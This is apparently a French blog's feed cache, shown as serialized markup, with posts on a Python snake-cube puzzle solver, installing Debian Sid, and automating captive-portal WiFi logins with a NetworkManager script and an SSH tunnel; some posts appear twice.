[2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2]Le volume cible peut être représenté par un graphe, un ensemble de sommets reliés par des arêtes, auquel on ajoute la notion d’orientation dans l’espace (il est important de distinguer les arêtes orthogonales entre elles). En clair, chaque sommet représente une position dans le cube : il y a donc 27 sommets pour un cube 3×3×3.
L’objectif est de trouver dans le graphe ainsi formé par le cube un chemin hamiltonien (un chemin qui passe par tous les sommets une fois et une seule) qui respecte la contrainte de la structure du serpent.
Pour trouver les solutions, il suffit de partir d’un sommet et tenter de placer les vecteurs de la structure consécutivement un à un, en respectant trois contraintes :
Il faut donc placer récursivement tous les vecteurs possibles, c’est-à-dire tous les vecteurs orthogonaux au précédent, qui ne sortent pas du cube et qui ne passent pas par une position déjà occupée. Jusqu’à arriver soit à une impossibilité (plus aucun vecteur ne respecte ces 3 contraintes), soit à une solution (tous les vecteurs sont placés).
Pour ne manquer aucune solution, il faut répéter cet algorithme en démarrant avec chacun des points de départ (donc les 27 sommets pour un cube 3×3×3).
Cet algorithme ne détecte pas les symétries ni les rotations, il donne alors plusieurs solutions “identiques”. Une amélioration serait de les détecter “au plus tôt” et de ne pas les construire.
EDIT : La version 0.2 gère les symétries et les rotations, pour éviter de calculer plusieurs solutions identiques. Plus d’explications dans ce commentaire et le suivant.
Voici une explication succincte des différentes parties du programme (pour plus d’informations, lire les commentaires dans le code).
Nous avons besoins de vecteurs, mais pas n’importe lesquels : seulement ceux qui ont une et une seule composante non-nulle, c’est-à-dire des multiples des vecteurs de la base. En effet, par exemple en 3 dimensions, la direction de chacun des vecteurs sera soit droite-gauche, soit dans haut-bas, soit avant-arrière, mais jamais en diagonale avant-droite vers arrière-gauche.
Ainsi, au lieu de stocker toutes les composantes, le Vector ne contient que la
valeur de la composante non-nulle ainsi que sa position (plus facile à
manipuler):
Vector(position, value)Cette classe définit l’outil que va utiliser le solveur pour noter tout ce qu’il fait : le chemin emprunté et les sommets déjà visités. À chaque fois qu’il place un vecteur dans le volume, il “allume les petites lumières” associées aux sommets visités, et quand il revient en arrière (pour chercher d’autres solutions), il éteint ces petites lumières (par lumières, comprenez booléens).
Cette classe a été ajoutée dans la version 0.2. Elle définit l’outil que va utiliser le solveur pour n’explorer que les solutions nécessaires, en ignorant les symétries et les rotations.
Le solveur place récursivement les vecteurs de la structure dans toutes les
positions possibles (en s’aidant du VolumeHelper) afin de trouver toutes les
solutions.
Lors de l’exécution du script, les solutions s’affichent au fur et à mesure :
$ ./snakesolver.py
([0, 0, 0], [2x, y, -x, 2z, y, -2z, x, z, -2y, -2x, y, -z, y, 2z, -2y, 2x, 2y])
([0, 0, 0], [2x, z, -x, 2y, z, -2y, x, y, -2z, -2x, z, -y, z, 2y, -2z, 2x, 2z])
([0, 0, 0], [2y, x, -y, 2z, x, -2z, y, z, -2x, -2y, x, -z, x, 2z, -2x, 2y, 2x])
...
Considérons la première solution :
([0, 0, 0], [2x, y, -x, 2z, y, -2z, x, z, -2y, -2x, y, -z, y, 2z, -2y, 2x, 2y])
Le point de départ est [0, 0, 0]. On se déplace d’abord de 2 sur l’axe x,
puis de 1 sur l’axe y, de -1 sur l’axe x, etc.
Voici la représentation graphique de cette solution :

Maintenant, voici quelques éléments essentiels du langage Python dont je me suis servi pour ce programme.
La compréhension de liste (ou liste en compréhension) est très pratique. Je l’ai utilisée plusieurs fois dans l’algorithme. Je vais détailler deux exemples.
D’abord, dans la classe VolumeHelper :
def all_points(self, index=0):
if index == len(self.dimensions):
return [[]]
return ([h] + t for h in xrange(self.dimensions[index])
for t in self.all_points(index + 1))Ce qui est retourné à la fin signifie :
tous les éléments de la forme
[h] + t(l’élémenthen tête de liste suivie de la queue de la liste) pourhcompris entre0etself.dimensions[index](un entier) et pour touttcompris dans les résultats de l’appel récursif
Ça ne vous éclaire pas ? Dit plus simplement :
le résultat de la concaténation de chacun des nombres de
0àn(avecn = self.dimensions[index]) à chacune des listes fournies par l’appel récursif
En fait, cette fonction fournit tous les points possibles pour les dimensions
données. Par exemple, si dimensions = [2, 2], alors le résultat sera :
[[0, 0], [0, 1], [1, 0], [1, 1]]Pour dimensions = [2, 2, 3], le résultat sera :
[[0, 0, 0], [0, 0, 1], [0, 0, 2], [0, 1, 0], [0, 1, 1], [0, 1, 2], [1, 0, 0],
[1, 0, 1], [1, 0, 2], [1, 1, 0], [1, 1, 1], [1, 1, 2]]Sans compréhension de liste, il serait difficile d’écrire le corps de cette fonction en 3 lignes !
Remarque : la compréhension de liste retourne une liste si elle est définie
entre [], alors qu’elle retourne un générateur (un _itérateur) si elle
est définie entre ()._
Second exemple, dans Solver.__solve_rec(…) :
for possible_vector in ( Vector(i, v)
for v in [ norm, -norm ]
for i in xrange(len(self.dimensions))
if i != previous_position ):Cette partie fournit un ensemble de Vector(i, v), pour toutes les combinaisons
de i et de v dans leurs domaines respectifs, qui vérifient la condition (qui
ici ne porte que sur i).
En clair, ici nous récupérons tous les vecteurs possibles, c’est-à-dire orthogonaux au précédent et avec la norme (la longueur) imposée par la structure.
La notion d’itérateur est présente dans beaucoup d’autres
langages. Un itérateur retourne un nouvel élément à chaque appel à la
méthode next(). En pratique, il est souvent utilisé de manière transparente
dans une boucle for _variable_ in _iterator_ :
for i in xrange(10):
print ixrange(…) retourne un itérateur et fournit les valeurs au fur et à
mesure, alors que range(…) crée la liste de toutes les valeurs, qui
est ensuite parcourue.
Les expressions yield permettent de créer un itérateur très simplement.
Pour résoudre le cube-serpent, il est préférable d’une part de fournir les solutions au fur et à mesure qu’elles sont trouvées, et d’autre part de pouvoir ne calculer que les k premières solutions.
La première contrainte est souvent résolue grâce à des callbacks : la fonction de calcul prend en paramètre une fonction, qui sera appelée à chaque résultat trouvé, le passant alors en paramètre.
La seconde est plus délicate : elle implique que l’algorithme s’arrête dès qu’il
trouve une solution, et que lors d’un prochain appel il reprenne le calcul là où
il s’était arrêté, afin calculer les solutions suivantes. Cela nécessite de
conserver un état. Pour un itérateur simple comme celui d’une liste, il suffit
de stocker l’index courant de parcours, et de l’incrémenter à chaque appel à
next(). Gérer manuellement l’itération sur les solutions du cube-serpent
semble beaucoup plus complexe, d’autant plus que les solutions sont trouvées
dans des appels récursifs.
C’est là qu’interviennent les expressions yield, qui répondent aux deux
besoins en même temps. Utiliser une expression yield dans le corps d’une
fonction suffit à transformer cette fonction en un générateur. Il n’est donc
plus possible de retourner de valeur grâce à return.
Dès que l’expression yield est rencontrée, la valeur est transmise et l’exécution de la fonction s’arrête. Elle reprendra lors du prochain appel.
Afin d’utiliser ce principe pour la génération des solutions, les fonctions
SnakeCubeSolver.solve() et SnakeCubeSolver.__solve_rec(…) ne sont donc pas
des fonctions ordinaires, mais des générateurs :
if step == len(self.structure):
yield init_cursor, self.volume_helper.path[:]Grâce à cette implémentation, il est possible de parcourir toutes les solutions :
for solution in solver.solve():
print solutionou alors de ne générer que les k premières :
max_solutions = 5
solutions = solver.solve()
for i in xrange(max_solutions):
try:
print solutions.next()
except StopIteration:
breakPython supporte aussi les expressions lambda, issues du lambda-calcul, qui permettent d’écrire des fonctions anonymes simplement.
J’utilise cette fonctionnalité une fois dans le programme :
needed_length = reduce(lambda x, y: x * y, self.dimensions) - 1Il s’agit de la déclaration d’une fonction avec deux arguments, qui retourne leur produit.
La fonction reduce(function, iterable, …) permet d’appliquer
cumulativement la fonction aux éléments de l’iterable, de gauche à droite, de
manière à réduire l’iterable en une seule valeur.
Même si “ce qui se conçoit bien s’énonce clairement”, la fonction
reduce est bien plus facile à comprendre qu’à expliquer en quelques mots…
Ici, donc, needed_length contient le produit de tous les éléments de la liste
self.dimensions.
La résolution du cube-serpent est intéressante, tout comme sa généralisation à n’importe quel volume de dimensions quelconque. Je me suis arrêté là (EDIT : finalement, non), mais la détection des symétries et des rotations “au plus tôt” serait une amélioration non négligeable (et pas si évidente).
Débutant tout juste en Python, ce micro-projet m’a permis de beaucoup apprendre, et de découvrir quelques bonnes surprises comme les expressions yield que je ne connaissais pas.
J’espère que ça vous a amusé aussi.
Le code source est disponible sur ce dépôt git :
git clone http://git.rom1v.com/snakesolver.git
(ou sur github).
";s:7:"dateiso";s:15:"20110927_211034";}s:15:"20110828_200431";a:7:{s:5:"title";s:20:"Installer Debian Sid";s:4:"link";s:51:"http://blog.rom1v.com/2011/08/installer-debian-sid/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2862";s:7:"pubDate";s:31:"Sun, 28 Aug 2011 18:04:31 +0000";s:11:"description";s:414:"Je viens de migrer mon PC principal vers Debian Sid (unstable), qui remplace Ubuntu, après 5 ans de bons et loyaux services. Il y a de nombreuses manières d’installer Debian, plusieurs versions, plein d’architectures… L’objectif de cet article est de décrire l’installation telle que je l’ai réalisée. Dans l’ordre : le téléchargement ; la copie sur une [...]";s:7:"content";s:11978:"Je viens de migrer mon PC principal vers Debian Sid (unstable), qui remplace Ubuntu, après 5 ans de bons et loyaux services.
Il y a de nombreuses manières d’installer Debian, plusieurs versions, plein d’architectures…
L’objectif de cet article est de décrire l’installation telle que je l’ai réalisée.
Dans l’ordre :
Bien sûr, avant tout, faites des sauvegardes de toutes vos données importantes. Cet avertissement est sûrement inutile, j’imagine que vous faites, comme tout le monde, plusieurs backups par semaine…
Sur la page d’accueil de Debian, dans « Obtenir Debian », c’est la version stable.
Ce qui nous intéresse, c’est la version testing, à partir de laquelle on peut passer en unstable dès l’installation. Celle-ci est disponible dans « Le coin du développeur », Installateur de Debian.
Ici, il faut regarder la partie « images de CD d’installation par le réseau (en général 135 à 175 Mo) et au format carte de visite (en général 20 à 50 Mo) », et cliquer sur l’architecture souhaitée. Typiquement, il faut prendre amd64 pour du 64 bits et i386 pour du 32 bits.
Choisir l’image businesscard (la plus petite). Pour moi : debian-testing-amd64-businesscard.iso.
Nous avons besoin de connaître l’emplacement de la clé, sous la forme /dev/sdX.
Une méthode parmi d’autres est de consulter /var/log/syslog lors du branchement : insérer la clé USB et exécuter :
tail /var/log/syslog
Vous devriez obtenir plusieurs lignes qui ressemblent à ceci :
Aug 28 00:54:27 rom-laptop kernel: [ 1868.930100] sd 4:0:0:0: [sdb] 2015232 512-byte logical blocks: (1.03 GB/984 MiB)
Sur cet exemple, nous voyons [sdb], nous en concluons que l’emplacement de la clé est /dev/sdb.
Alternativement, si la clé est montée, il est possible d’obtenir cet emplacement dans le résultat de :
df -h
Ne vous trompez surtout pas d’emplacement, vous risqueriez d’écraser toutes les données de votre disque dur !
Si vous avez une clé réservée pour vos installations de systèmes d’exploitation (sans données à conserver), je vous conseille la méthode la plus simple, qui écrase tout ce qu’il y a sur la clé (4.3.1) :
$ sudo -s # cat debian-testing-amd64-businesscard.iso > /dev/sdb # sync
Ensuite, il faut redémarrer, et configurer le BIOS pour qu’il boote sur clé USB (souvent, les clés USB sont reconnues comme un disque dur, il faut donc régler la priorité entre les disques durs).
Pour l’installation, l’ordinateur doit être connecté à Internet par un câble Ethernet.
L’ordinateur boote sur la clé USB, et affiche un menu d’installation de Debian. Sélectionner « Advanced Options ».
Ici, il est possible changer l’environnement de bureau (Gnome, KDE, XFCE…). Par défaut, c’est Gnome.
Ensuite, sélectionner « Expert Install » pour lancer l’installation (afin de pouvoir choisir sid/unstable au lieu de testing dès l’installation).
Lors de l’étape de partitionnement, dans l’hypothèse où le disque dur utilise une partition séparée pour le home, ne pas oublier de configurer les points de montage (/ et /home), et ne pas formater /home (pour conserver les données personnelles).
Utiliser le même nom d’utilisateur et mot de passe que celui d’Ubuntu (c’est important pour accéder au répertoire home chiffré).
Je ne détaille pas les autres étapes d’installation, il suffit de lire.
Une fois l’installation terminée et le système démarré, il n’est pas possible de se connecter graphiquement avec le compte utilisateur, car le home est chiffré et par défaut, eCryptFS n’est pas installé. Il faut donc l’installer.
Pour cela, ouvrir un TTY (Ctrl+Alt+F1), se connecter en root (ou avec le compte utilisateur si vous avez interdit la connexion de root, dans ce cas utiliser sudo), puis installer ecryptfs-utils :
apt-get install ecryptfs-utils
Si lors de l’installation vous n’avez pas choisi le même mot de passe que sur Ubuntu, profitez-en pour le rétablir :
passwd monlogin
Maintenant, il est possible de se connecter graphiquement, en retournant dans le TTY graphique (Ctrl+Alt+F7).
Pour moi, il est indispensable d’utiliser un gestionnaire de composite. Pour au moins 3 raisons :
Par défaut, Metacity (le gestionnaire de fenêtres de Gnome) n’en utilise pas. C’est la raison pour laquelle Compiz se révèle souvent indispensable.
Cependant, je viens de découvrir que Metacity savait gérer le compositing, grâce à une option bien cachée. Pour l’activer :
gconftool-2 -s -t boolean /apps/metacity/general/compositing_manager true
Il est également possible d’utiliser gconf-editor :

Il n’est pas configurable, et ne permet pas de faire tout ce que fait Compiz, mais pour moi c’est suffisant.
J’ai la malchance d’avoir une carte graphique NVIDIA, qui nécessite dans certains cas d’avoir recours à des pilotes privateurs. Sans eux, impossible de faire fonctionner Compiz ni certains jeux.
Cependant, le pilote libre Nouveau (installé par défaut) est assez impressionnant par rapport à l’ancien (nv). Et même s’il ne permet pas de démarrer Compiz, il supporte le compositing de Metacity avec de bonnes performances.
En installant le paquet libgl1-mesa-dri-experimental, le pilote Nouveau sait faire fonctionner Compiz et surtout Gnome-Shell. Il faut simplement prendre soin d’avoir supprimé toute trace éventuelle du pilote propriétaire :
apt-get remove nvidia-*
Pour néanmoins installer les pilotes privateurs (les dépôts non-free doivent être activés) :
apt-get install nvidia-kernel-dkms nvidia-xconfig nvidia-settings && nvidia-xconfig
(Remplacez nvidia-kernel-dkms par nvidia-kernel-legacy-VERSION-dkms pour une carte graphique nécessitant des pilotes plus anciens.)
Puis rebooter.
J’ai également dû installer des pilotes pour ma carte WiFi :
$ lspci | grep Network 03:00.0 Network controller: Intel Corporation WiFi Link 5100
Il suffit d’installer le paquet non-libre firmware-iwlwifi :
apt-get install firmware-iwlwifi
Il y a plusieurs paquets en firmware-quelquechose, selon votre matériel.
Avec la version actuelle, Debian Sid installe par défaut l’agencement du clavier « France (Obsolète) Autre » au lieu de « France Autre ». Je vous conseille de le changer dans Système → Préférences → Clavier → Agencements, sinon vous risquez d’avoir des surprises (notamment si vous utilisez des pipes dans un terminal)…
EDIT : Cela ne suffit pas, pour que le réglage soit conservé, il faut en fait le changer dans GDM (l’écran de connexion), une liste déroulante en bas permet de changer la disposition du clavier.
Avant la migration, j’avais un peu peur pour la conservation du home chiffré… Mais finalement, aucun souci.
Par rapport à Ubuntu, j’apprécie beaucoup d’avoir des versions plus à jour des logiciels sans passer par des PPA. Et aussi d’avoir plus de logiciels dans les dépôts par défaut (pino par exemple). L’installation est cependant un peu moins simple qu’Ubuntu (il faut avouer qu’il est difficile de faire plus simple).
Pour finir, voici une capture d’écran juste après l’installation (avec, comme le veut la tradition, un terminal ouvert) :

Je viens de migrer mon PC principal vers Debian Sid (unstable), qui remplace Ubuntu, après 5 ans de bons et loyaux services.

Il y a de nombreuses manières d’installer Debian, plusieurs versions, plein d’architectures… L’objectif de cet article est de décrire l’installation telle que je l’ai réalisée.
Dans l’ordre :
Bien sûr, avant tout, faites des sauvegardes de toutes vos données importantes. Cet avertissement est sûrement inutile, j’imagine que vous faites, comme tout le monde, plusieurs backups par semaine… ;-)
Sur la page d’accueil de Debian, dans “Obtenir Debian”, c’est la version stable.
Ce qui nous intéresse, c’est la version testing, à partir de laquelle on peut passer en unstable dès l’installation. Celle-ci est disponible dans “Le coin du développeur”, Installateur de Debian.
Ici, il faut regarder la partie “images de CD d’installation par le réseau (en général 135 à 175 Mo) et au format carte de visite (en général 20 à 50 Mo)”, et cliquer sur l’architecture souhaitée. Typiquement, il faut prendre amd64 pour du 64 bits et i386 pour du 32 bits.
Choisir l’image businesscard (la plus petite). Pour moi :
debian-testing-amd64-businesscard.iso.
EDIT : En fait, autant utiliser l’iso du CD1 qu’on pourra installer sur une clé USB, l’installation n’en sera que plus rapide.
Nous avons besoin de connaître l’emplacement de la clé, sous la forme
/dev/sdX. Une méthode parmi d’autres est de consulter /var/log/syslog
lors du branchement. Pour cela, insérer la clé USB et exécuter :
tail /var/log/syslog
Vous devriez obtenir plusieurs lignes qui ressemblent à ceci :
Aug 28 00:54:27 rom-laptop kernel: [ 1868.930100] sd 4:0:0:0: [sdb] 2015232 512-byte logical blocks: (1.03 GB/984 MiB)
Sur cet exemple, nous voyons [sdb], nous en concluons que l’emplacement de la clé est /dev/sdb.
Alternativement, si la clé est montée, il est possible d’obtenir cet emplacement dans le résultat de :
df -h
Ne vous trompez surtout pas d’emplacement, vous risqueriez d’écraser toutes les données de votre disque dur !
Si vous avez une clé réservée pour vos installations de systèmes d’exploitation (sans données à conserver), je vous conseille la méthode la plus simple, qui écrase tout ce qu’il y a sur la clé (4.3.1) :
$ sudo -s
# cat debian-testing-amd64-businesscard.iso > /dev/sdb
# sync
Ensuite, il faut redémarrer, et configurer le BIOS pour qu’il boote sur clé USB (souvent, les clés USB sont reconnues comme un disque dur, il faut donc régler la priorité entre les disques durs).
Pour l’installation, l’ordinateur doit être connecté à Internet par un câble Ethernet.
L’ordinateur boote sur la clé USB, et affiche un menu d’installation de Debian. Sélectionner “Advanced Options”. Ici, il est possible changer l’environnement de bureau (Gnome, KDE, XFCE…). Par défaut, c’est Gnome. Ensuite, sélectionner “Expert Install” pour lancer l’installation (afin de pouvoir choisir sid/unstable au lieu de testing dès l’installation).

Lors de l’étape de partitionnement, dans l’hypothèse où le disque dur utilise
une partition séparée pour le home, ne pas oublier de configurer les points de
montage (/ et /home), et ne pas formater /home (pour conserver les données
personnelles).
Utiliser le même nom d’utilisateur et mot de passe que celui d’Ubuntu (c’est important pour accéder au répertoire home chiffré).
Je ne détaille pas les autres étapes d’installation, il suffit de lire.
Une fois l’installation terminée et le système démarré, il n’est pas possible de se connecter graphiquement avec le compte utilisateur, car le home est chiffré et par défaut, eCryptFS n’est pas installé. Il faut donc l’installer.
Pour cela, ouvrir un TTY (Ctrl+Alt+F1), se connecter en root (ou avec le
compte utilisateur si vous avez interdit la connexion de root, dans ce cas
utiliser sudo), puis installer ecryptfs-utils :
apt-get install ecryptfs-utils
Si lors de l’installation vous n’avez pas choisi le même mot de passe que sur Ubuntu, profitez-en pour le rétablir :
passwd monlogin
Maintenant, il est possible de se connecter graphiquement, en retournant dans le TTY graphique (Ctrl+Alt+F7).
Pour moi, il est indispensable d’utiliser un gestionnaire de composite. Pour au moins 3 raisons :
Par défaut, Metacity (le gestionnaire de fenêtres de Gnome) n’en utilise pas. C’est la raison pour laquelle Compiz se révèle souvent indispensable. Cependant, je viens de découvrir que Metacity savait gérer le compositing, grâce à une option bien cachée. Pour l’activer :
gconftool-2 -s -t boolean /apps/metacity/general/compositing_manager true
Il est également possible d’utiliser gconf-editor :

Il n’est pas configurable, et ne permet pas de faire tout ce que fait Compiz, mais pour moi c’est suffisant.
J’ai la malchance d’avoir une carte graphique NVIDIA, qui nécessite dans certains cas d’avoir recours à des pilotes privateurs. Sans eux, impossible de faire fonctionner Compiz ni certains jeux.
Cependant, le pilote libre Nouveau (installé par défaut) est assez impressionnant par rapport à l’ancien (nv). Et même s’il ne permet pas de démarrer Compiz, il supporte le compositing de Metacity avec de bonnes performances.
En installant le paquet libgl1-mesa-dri-experimental, le pilote Nouveau_ sait
faire fonctionner Compiz et surtout Gnome-Shell. Il faut simplement prendre
soin d’avoir supprimé toute trace éventuelle du pilote propriétaire :_
apt-get remove nvidia-*
Pour néanmoins installer les pilotes privateurs (les dépôts non-free doivent
être activés) :
apt-get install nvidia-kernel-dkms nvidia-xconfig nvidia-settings
nvidia-xconfig
Remplacer nvidia-kernel-dkms par nvidia-kernel-legacy-_VERSION_-dkms pour
une carte graphique nécessitant des pilotes plus anciens.
Puis rebooter.
J’ai également dû installer des pilotes pour ma carte WiFi :
$ lspci | grep Network
03:00.0 Network controller: Intel Corporation WiFi Link 5100
Il suffit d’installer le paquet non-libre firmware-iwlwifi :
apt-get install firmware-iwlwifi
Il y a plusieurs paquets en firmware-_quelquechose_, selon votre matériel.
Avec la version actuelle, Debian Sid installe par défaut l’agencement du clavier “France (Obsolète) Autre” au lieu de “France Autre”. Je vous conseille de le changer dans Système → Préférences → Clavier → Agencements, sinon vous risquez d’avoir des surprises (notamment si vous utilisez des pipes dans un terminal)…
EDIT : Cela ne suffit pas, pour que le réglage soit conservé, il faut en fait le changer dans GDM (l’écran de connexion), une liste déroulante en bas permet de changer la disposition du clavier.
Avant la migration, j’avais un peu peur pour la conservation du home chiffré… Mais finalement, aucun souci.
Par rapport à Ubuntu, j’apprécie beaucoup d’avoir des versions plus à jour des logiciels sans passer par des PPA. Et aussi d’avoir plus de logiciels dans les dépôts par défaut (pino par exemple). L’installation est cependant un peu moins simple qu’Ubuntu (il faut avouer qu’il est difficile de faire plus simple).
Pour finir, voici une capture d’écran juste après l’installation (avec, comme le veut la tradition, un terminal ouvert) :
";s:7:"dateiso";s:15:"20110828_180431";}s:15:"20110731_134334";a:7:{s:5:"title";s:67:"Authentification automatique à un réseau WiFi avec NetworkManager";s:4:"link";s:96:"http://blog.rom1v.com/2011/07/authentification-automatique-a-un-reseau-wifi-avec-networkmanager/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2766";s:7:"pubDate";s:31:"Sun, 31 Jul 2011 11:43:34 +0000";s:11:"description";s:413:"Certains réseaux WiFi sont ouverts (sans clé de sécurité) mais nécessitent une authentification. C’est souvent le cas des points d’accès dans les gares, les hôtels, les campings… Cela concerne également les réseaux ouverts tels que FreeWifi. Une fois connecté à un tel réseau, lorsqu’avec votre navigateur vous tentez d’accéder à n’importe quel site, vous êtes [...]";s:7:"content";s:10114:"
Certains réseaux WiFi sont ouverts (sans clé de sécurité) mais nécessitent une authentification. C’est souvent le cas des points d’accès dans les gares, les hôtels, les campings… Cela concerne également les réseaux ouverts tels que FreeWifi.
Une fois connecté à un tel réseau, lorsqu’avec votre navigateur vous tentez d’accéder à n’importe quel site, vous êtes redirigé vers une page d’authentification demandant votre identifiant et votre mot de passe (parfois il ne s’agit que d’accepter des conditions d’utilisation). Après avoir renseigné ces informations, vous êtes authentifié et pouvez accéder à Internet normalement.
Mais il faut avouer que s’authentifier manuellement à chaque connexion est pénible. D’autant plus que la redirection HTTP vers la page d’authentification ne fonctionne… que pour HTTP. Ainsi, alors que vous êtes connecté au réseau Wifi, votre client mail ne parviendra à récupérer les mails, votre client XMPP n’arrivera pas à se connecter au serveur… mais sans message indiquant la cause du problème.
Le but de ce billet est de mettre en place une authentification automatique lors de la connexion au réseau.
La première étape est de pouvoir réaliser cette authentification en ligne de commande, à partir de l’identifiant et du mot de passe. C’est très simple, il suffit d’imiter ce que fait le navigateur lors du clic sur le bouton Valider.
Pour cela, deux choses sont nécessaires : l’URL de la page de validation d’authentification et les champs de formulaire qu’elle utilise.
Pour les connaître, il faut regarder le code source de la page sur laquelle vous êtes redirigés, en particulier la balise form. Voici un exemple de ce que vous pouvez obtenir (le HTML n’est pas toujours super propre sur ce genre de pages) :
<form method="post" action="http://10.9.0.1:8000/"> Login <input name="auth_user" type="text"> Password <input name="auth_pass" type="password"> <input type="checkbox" name="regagree" value="valeur" onClick="ChangeStatut(this.form)"> J'accepte le règlement <input name="redirurl" type="hidden" value="http://www.google.com/search?ie=UTF-8"> <input type="submit" name="accept" value="Continuer" disabled> </form>
Tout y est. La valeur de l’attribut action est l’URL de validation, et le nom des champs utilisés est dans l’attribut name de chaque balise input.
Dans cet exemple, seuls auth_user et auth_pass semblent utiles, mais parfois le serveur effectue des vérifications (étranges) supplémentaires. Ici, il vérifie qu’il y a bien un attribut accept qui vaut Continuer (allez savoir pourquoi).
À partir de ces champs, nous allons construire la chaîne des paramètres sous la forme :
champ1=valeur1&champ2=valeur2&champ3=valeur3
et l’envoyer au serveur en POST, par exemple grâce à la commande POST (en majuscules, ça surprend un peu pour une commande shell) :
POST http://10.9.0.1:8000/ <<< 'auth_user=IDENTIFIANT&auth_pass=MOT_DE_PASSE&accept=Continuer'
Si la page d’authentification est en HTTPS, il faudra installer le paquet libcrypt-ssleay-perl, ou alors utiliser wget :
wget -qO- https://10.9.0.1:8000/ --post-data='auth_user=IDENTIFIANT&auth_pass=MOT_DE_PASSE&accept=Continuer'
Voilà, nous avons reproduit en ligne de commande le comportement du navigateur pour l’authentification.
Nous devons maintenant faire en sorte que cette commande soit exécutée dès la connexion au réseau WiFi.
NetworkManager (le gestionnaire de connexion par défaut d’Ubuntu) permet d’exécuter des scripts lors de la connexion ou la déconnexion. Pour cela, il suffit de placer le script dans /etc/NetworkManager/dispatcher.d/ et de le rendre exécutable.
Le script est appelé avec deux paramètres :
$1 : l’interface réseau concernée par la connexion ou la déconnexion (wlan0 par exemple) ;$2 ayant pour valeur soit up (pour la connexion), soit down (pour la déconnection).Nous voulons exécuter la commande POST uniquement lors de la connexion de wlan0, et seulement pour le réseau concerné (par exemple celui ayant le nom MonLieuDeVacances).
Il est possible de récupérer le nom du réseau (l’ESSID) auquel nous sommes connectés grâce à iwconfig :
iwconfig wlan0 | grep -o 'ESSID:".*$' | sed 's/^ESSID:"\(.*\)".*$/\1/'
Il faut donc créer un script dans /etc/NetworkManager/dispatcher.d/10auth :
gksudo gedit /etc/NetworkManager/dispatcher.d/10auth
ayant cette structure :
#!/bin/bash
if [ "$1 $2" = 'wlan0 up' ]
then
essid=$(iwconfig wlan0 | grep -o 'ESSID:".*$' | sed 's/^ESSID:"\(.*\)".*$/\1/')
case "$essid" in
'MonLieuDeVacances')
POST http://10.9.0.1:8000/ <<< 'auth_user=IDENTIFIANT&auth_pass=MOT_DE_PASSE&accept=Continuer' ;;
'MaGare')
POST http://192.168.0.1 <<< 'accept_cgu=1' ;;
esac
fi
Et le rendre exécutable :
sudo chmod +x /etc/NetworkManager/dispatcher.d/10auth
Les pages d’authentification varient d’un réseau à l’autre, il faut donc adapter les paramètres de connexion selon le service utilisé.
Voici le script à utiliser (en adaptant votre identifiant et votre mot de passe) pour le réseau FreeWifi (très connu) :
#!/bin/bash
if [ "$1 $2" = 'wlan0 up' ]
then
essid=$(iwconfig wlan0 | grep -o 'ESSID:".*$' | sed 's/^ESSID:"\(.*\)".*$/\1/')
case "$essid" in
'FreeWifi')
wget -qO- https://wifi.free.fr/Auth --post-data='login=IDENTIFIANT&password=MOT_DE_PASSE' ;;
esac
fi

Ces réseaux ouverts, gérant éventuellement une authentification HTTP, ne sont pas chiffrés : n’importe qui écoutant ce qui transite dans les airs pourra récupérer tout le contenu de votre trafic.
Si vous avez un ordinateur allumé chez vous (sur un réseau « sûr ») accessible en SSH, je vous conseille de faire passer toutes les connexions dans un tunnel chiffré.
Le principe est simple : dès que vous accédez à un serveur (par exemple en tapant l’URL dans un navigateur web), l’ordinateur ne va pas s’y connecter directement, il va transmettre les informations en passant par un tunnel chiffré à votre serveur SSH, qui lui va s’y connecter, et vous renvoyer la page à travers le tunnel. Techniquement, le tunnel est un proxy SOCKS écoutant sur un port local (par exemple localhost:3128).
Pour démarrer le tunnel :
ssh monserveur -CND3128
Pour configurer le système afin qu’il utilise le tunnel SSH, Système → Préférences → Serveur mandataire (gnome-network-properties), puis configurer comme sur la capture d’écran :

Dans l’onglet Hôtes à ignorer, rajouter l’adresse de la page d’authentification.
Ainsi, toutes les connexions des logiciels utilisant les paramètres proxy du système passeront par le tunnel. Il est également possible de configurer ceci dans chaque logiciel individuellement (s’ils le proposent).
Pour Firefox, il est également recommandé dans about:config de passer la variable network.proxy.socks_remote_dns à true, afin que les DNS soient résolus également de l’autre côté du tunnel (sur le réseau « sûr »).
Vous trouverez plus d’infos sur mon billet concernant SSH.
La connexion à des points d’accès WiFi publics demandant à chaque fois une authentification ou une acceptation des conditions d’utilisation devient rapidement insupportable. Il est donc appréciable de l’automatiser.
De plus, ces réseaux ne sont pas « sûrs », n’importe qui peut écouter le trafic. Il est donc nécessaire de le chiffrer en passant par un réseau de confiance, par exemple avec un tunnel SSH.
";s:7:"dateiso";s:15:"20110731_134334";}s:15:"20110731_114334";a:7:{s:5:"title";s:67:"Authentification automatique à un réseau WiFi avec NetworkManager";s:4:"link";s:95:"http://blog.rom1v.com/2011/07/authentification-automatique-a-un-reseau-wifi-avec-networkmanager";s:4:"guid";s:95:"http://blog.rom1v.com/2011/07/authentification-automatique-a-un-reseau-wifi-avec-networkmanager";s:7:"pubDate";s:25:"2011-07-31T11:43:34+02:00";s:11:"description";s:0:"";s:7:"content";s:12852:"Certains réseaux WiFi sont ouverts (sans clé de sécurité) mais nécessitent une authentification. C’est souvent le cas des points d’accès dans les gares, les hôtels, les campings… Cela concerne également les réseaux ouverts tels que FreeWifi.
Une fois connecté à un tel réseau, lorsqu’avec votre navigateur vous tentez d’accéder à n’importe quel site, vous êtes redirigé vers une page d’authentification demandant votre identifiant et votre mot de passe (parfois il ne s’agit que d’accepter des conditions d’utilisation). Après avoir renseigné ces informations, vous êtes authentifié et pouvez accéder à Internet normalement.
Mais il faut avouer que s’authentifier manuellement à chaque connexion est pénible. D’autant plus que la redirection HTTP vers la page d’authentification ne fonctionne… que pour HTTP. Ainsi, alors que vous êtes connecté au réseau Wifi, votre client mail ne parviendra à récupérer les mails, votre client XMPP n’arrivera pas à se connecter au serveur… mais sans message indiquant la cause du problème.
Le but de ce billet est de mettre en place une authentification automatique lors de la connexion au réseau.
La première étape est de pouvoir réaliser cette authentification en ligne de commande, à partir de l’identifiant et du mot de passe. C’est très simple, il suffit d’imiter ce que fait le navigateur lors du clic sur le bouton Valider.
Pour cela, deux choses sont nécessaires : l’URL de la page de validation d’authentification et les champs de formulaire qu’elle utilise.
Pour les connaître, il faut regarder le code source de la page sur laquelle vous
êtes redirigés, en particulier la balise form. Voici un exemple de ce que vous
pouvez obtenir (le HTML n’est pas toujours super propre sur ce genre de
pages) :
